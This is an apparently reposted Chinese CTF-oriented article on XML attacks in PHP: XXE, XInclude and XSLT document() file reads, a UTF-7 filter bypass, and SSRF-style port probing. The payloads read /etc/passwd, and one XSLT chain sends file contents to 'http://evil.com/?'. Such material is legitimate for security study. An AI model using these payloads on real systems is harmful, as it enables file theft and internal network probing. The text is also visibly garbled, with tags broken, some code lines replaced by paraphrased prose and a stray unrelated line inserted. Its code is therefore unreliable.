深入解析XML安全:探索XInclude攻击及其在CTF比赛中的小众应用
前言

最近一直在对 xml 及其相关的安全问题进行研究。之前的那一篇文章已经提到了比较大众化且在 CTF 中经常出现的 xml 攻击方式。
此为一个链接 https://www.anquanke.com/post/id/155328 ,指向特定的页面或内容。
这里要再提及两种相对较为小众的攻击方式,这里所说的小众是指在 CTF 比赛中不常出现的情况。
Xinclude什么是xinclude
顾名思义,xinclude可以理解为xml include
熟悉编译或脚本语言的人一定知道,像 php 中的 include 这种操作,以及 python 和 java 里的 import 这种方式,都是能够进行文件包含的。
那么文件包含有什么好处?
可以让代码更整洁。我们能够把定义的功能函数放置在 function.php 里,接着在需要使用功能函数的文件中通过 include 来包含 function.php。如此一来,就避免了重复冗余的函数定义,并且还能增加代码的可读性。
因此,xinclude 也是如此,它是在 xml 标记语言中用于包含其他文件的一种方式。
为什么使用xinclude
正如前文所述,xinclude 能够提升代码的可读性。下面给出官方手册里的样例,以便于理解:
page.xml
<webpage>
<body>Hello world!body>
<xi:include该链接指向 templates/footer.xml ,并且使用了 xmlns:xi="http://www.w3.org/2003/XInclude" 命名空间。
webpage>
footer.xml:
<footer>? Contoso Corp, 2003footer>
处理过程
xinclude的语法介绍
xinclude 的语法较为简单,它主要涉及命名空间中的两个元素,分别是 include 和 fallback 。
常用的命名空间前缀为“xi”,不过可以依据个人喜好随意使用其他前缀。
xi:include 元素
元素中的几个属性:
当涉及文本包括时,encoding 这一属性能够提供所包括文档的编码提示信息。
样例如下:
xi:fallback 元素
简单来说,就像 try...except...那样,如果 xinclude 的内容有问题,就会显示 fallback 的内容。
例如
<xi:include href="test.xml" parse="text"/>
<xi:fallback>抱歉,该文件不可用。<xi:fallback>
xi:include>
此时对 xml 进行解析后,如果 test.xml 不存在,那么就会解析并获取到“Sorry, the file is unavailable”。
安全问题
看完上述内容后,肯定会有人产生疑问,为何不直接采用外部实体引入呢?
这里官方文档也给出了详尽的解释:
XML 外部实体存在诸多广为人知的局限以及不便使用的含义,这些情况极大地对 XML 外部实体成为多用途包含工具形成了妨碍。
5.外部实体必须在 DTD 或内部子集中进行声明。
等等,有外部实体吗?一讲到安全问题,你是否马上就联想到了 XXE(XML External Entity Injection)这种可以任意读取文件的问题?
没错,xinclude 可以作为外部实体引用的替代品。它同样存在 XXE 的问题,并且还有一些特别之处:
传统的XXE文件读取
$xml = <<
]>&f;
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
加载上述定义的 XML 字符串。
$dom->loadXML($xml);
// substitute xincludes
echo $dom->saveXML();
?>
但是访问该页面,我们却发现并没有解析xml
因为 php 的 xml 库的底层库是 libxml2,在 2.6 版本之后,这个库已默认禁用外部实体引用的解析,所以我们可以使用
echo LIBXML_DOTTED_VERSION;
来查看当前版本号
所以当前我的 xml 解析默认不支持外部实体引入了。我们查阅 php 手册中的 libxml option constants 可以发现,使用 LIBXML_NOENT 选项就能够加载外部实体。
所以关键代码更改为
使用 $dom 来加载 XML 数据 $xml,并且设置了 LIBXML_NOENT 选项。
即可:
传统文件读取进阶版—过滤
倘若我们发现外部实体引入时,存在关键词过滤
例如
ENTITY
等被过滤,那么我们可以尝试使用utf-7编码
例如
]>
<x>&f;x>
我们利用
https:可通过以下方式访问该页面://www.motobit.com/util/charset-codepage-conversion.asp 。
转为utf-7
+ADwAIQ-DOCTYPE ANY +AFs-
4. 分句要尽量短。
+AF0APg-
+ADw-x 与 +AD4AJg-f 以及 +ADsAPA-/x 和 +AD4- 之间存在某种关联或组合情况。
然后使用
测试脚本
$xml = <<
+ADwAIQ-DOCTYPE ANY +AFs-
+ADwAIQ-ENTITY f SYSTEM 对 +ACI-file:///etc/passwd+ACIAPg-进行了操作。
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml,LIBXML_NOENT);
echo $dom->saveXML();
?>
效果如下
xinclude文件读取
倘若由于需要,我们使用了xinclude
$xml = <<
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml);
$dom->xinclude();
echo $dom->saveXML();
?>
我们发现
$dom->loadXML($xml);
我们没有开启外部实体引用选项,然而却能够成功读取到 /etc/passwd 的内容。
这一点值得关注。如果在测试过程中,我们能发现可控的 xml 文本内容,然而引入外部实体无效或者存在过滤,并且尝试编码绕过也不行,那么就可以尝试使用 xinclude。
xinclude不需要使用 LIBXML_NOENT 选项来开启原本处于关闭状态的外部实体引用。
XSLT
XSL 指的是扩展样式表语言,也就是 EXtensible Stylesheet Language 。
XSLT 指的是 XSL 转换。使用 XSLT 能够把 XML 文档转换成其他文档,例如 XHTML。
简单样例
下面展示利用php后端语言,将xml转换为html
test.xml
<root>
<name>skyname>
<blog>skysec.topblog>
<country>Chinacountry>
root>
test.xsl
<xsl:stylesheet version="1.0"
xmlns 表示命名空间,“http://www.w3.org/1999/XSL/Transform”是一个特定的命名空间地址,用于 XSLT(可扩展样式表语言转换)相关的操作,其中的“xsl”是命名空间的前缀,用于在 XML 文档中引用该命名空间下的元素和属性等。
<xsl:template match="/">
<html>
<body>
<table border="1">
<tr bgcolor="#9acd32">
<th align="left">Nameth>
<th align="left">Blogth>
<th align="left">Countryth>
tr>
<xsl:for-each select="root">
<tr>
<td><xsl:value-of select="name" />td>
<td><xsl:value-of select="blog" />td>
<td><xsl:value-of select="country" />td>
tr>
xsl:for-each>
table>
body>
html>
xsl:template>
xsl:stylesheet>
test.php
$xslDoc = new DOMDocument();
$xslDoc->load("test.xsl");
$xmlDoc = new DOMDocument();
$xmlDoc->load("test.xml");
$proc = new XSLTProcessor();
$proc 导入了 XSL 文档 $xslDoc 。
echo使用 $proc 对 $xmlDoc 进行转换以生成 XML 文档。
结果如下
查看源代码
<html><body><table border="1">
<tr bgcolor="#9acd32">
<th align="left">Nameth>
<th align="left">Blogth>
<th align="left">Countryth>
tr>
<tr>
<td>skytd>
<td>skysec.toptd>
<td>Chinatd>
tr>
table>body>html>
发现
<td><xsl:value-of select="name" />td>
<td><xsl:value-of select="blog" />td>
<td><xsl:value-of select="country" />td>
已被替换成对应的值
安全问题
传统文件读取
这里的安全问题基本与xml中相同
像读文件:
]>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/root">
&shit;
xsl:template>
xsl:stylesheet>
这就很成功的可以读取文件内容了
但是需要注意的是,由于 php 底层的 libxml 库存在这样一种情况,即默认禁用了外部实体引入。正因如此,我们依然需要去手动进行加入操作。
$xslDoc = new DOMDocument();
$xslDoc->load("test.xsl",LIBXML_NOENT);
xsl文件读取
当没开启外部实体引入的时候,我们可以考虑如下方式
既然是url,那么利用的方式就有很多种了
例如:
此时报错了
我们尝试用base64
解base64
这很不爽,因为
echo$proc 对 $xmlDoc 进行了转换并生成了 XML 内容。
的原因,我们不能输出完整的信息
如果我改成
echo使用 base64 编码对 $proc 进行将 $xmlDoc 转换为 XML 的操作结果。
其实能够成功读取文件内容,不过估计目标不会先将其进行 base64 编码,然后再帮我们打印出来吧。
所以有了以下方法
<xsl:variable从“file:///etc/passwd”这个文档中进行选择,其名称为“name1”。
<xsl:variable3. 形成的是“http://evil.com/?”和$name1 连接在一起的内容。
<xsl:variable使用 name2 选择文档,其名称为 name3 。
传统端口探测
话不多说,测试脚本如下
当外部实体引用开启时
$xml = <<
]>&shit;
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml,LIBXML_NOENT);
echo $dom->saveXML();
?>
当端口关闭的时候发现
当端口开启的时候
xsl端口探测
上述方法需开启外部实体引入,然而在此处仅需运用 document()函数便能达成目的。
给出部分代码
<xsl:for-each select="sky">
<tr>
<td><xsl:value-of select="name" />td>
<td><xsl:value-of select="blog" />td>
<td><xsl:value-of select="country" />td>
<td><xsl:value-of从“document('http://127.0.0.1:9999')”中进行选择。td>
tr>
xsl:for-each>
当端口关闭时
当端口开启时
CTF样题
曾经做过一道关于 xslt 服务端注入攻击的综合题目,有兴趣的话可以看看这篇文章。
sql 注入到 xslt 再到 xxe 的一道 ctf 题目,思考攻击点
后记
Xml 是一种标记语言,它蕴含的技巧有很多且有待探索,我先进行一些简单的介绍来抛砖引玉。我非常期待有师傅能够来交流一些关于 Xml 的相关知识和技巧。
- 结尾 - 精彩推荐 【技术分享】从crash到getshell 0ctf2019_plang 详解 【技术分享】LSB隐写工具对比(Stegsolve与zsteg) 【技术分享】House of storm 原理及利用 戳“阅读原文”查看更多内容